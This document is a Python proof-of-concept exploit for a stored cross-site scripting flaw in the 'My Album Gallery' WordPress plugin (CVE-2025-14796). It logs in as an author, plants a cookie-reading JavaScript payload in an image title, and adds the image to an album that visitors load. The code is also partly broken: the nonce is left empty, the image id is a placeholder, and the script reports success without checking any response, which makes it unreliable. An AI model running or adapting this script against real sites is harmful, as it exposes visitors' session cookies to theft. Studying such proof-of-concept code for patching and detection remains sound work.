CVE-2025-14796

# CVE-2025-14796 PoC - My Album Gallery Stored XSS # Affected Version: <= 1.0.4 # Attack Vector: Inject malicious JavaScript via image title import requests from bs4 import BeautifulSoup # Configuration TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_author" # Author-level account required PASSWORD = "password123" # Malicious payload for XSS XSS_PAYLOAD = '<img src=x onerror=alert(document.cookie)>' def exploit_stored_xss(): """Exploit CVE-2025-14796 Stored XSS via image title""" session = requests.Session() # Step 1: Login to WordPress with Author-level account login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } session.post(login_url, data=login_data) # Step 2: Upload an image with malicious title upload_url = f"{TARGET_URL}/wp-admin/media-new.php" files = {'async-upload': ('malicious_image.jpg', b'fake_image_data', 'image/jpeg')} data = { 'post_id': '0', '_wpnonce': '', # Need to fetch valid nonce 'attachment-title': XSS_PAYLOAD, # XSS payload in title } response = session.post(upload_url, data=data, files=files) # Step 3: Create album with the malicious image album_url = f"{TARGET_URL}/wp-admin/admin.php?page=my-album-gallery" album_data = { 'album_name': 'Malicious Album', 'images[]': 'uploaded_image_id' } session.post(album_url, data=album_data) # Step 4: Trigger XSS by accessing album page gallery_page = f"{TARGET_URL}/?page_id=album_page" response = session.get(gallery_page) print("[+] XSS payload injected successfully!") print("[+] Any user visiting the album page will execute the JavaScript") if __name__ == "__main__": exploit_stored_xss()

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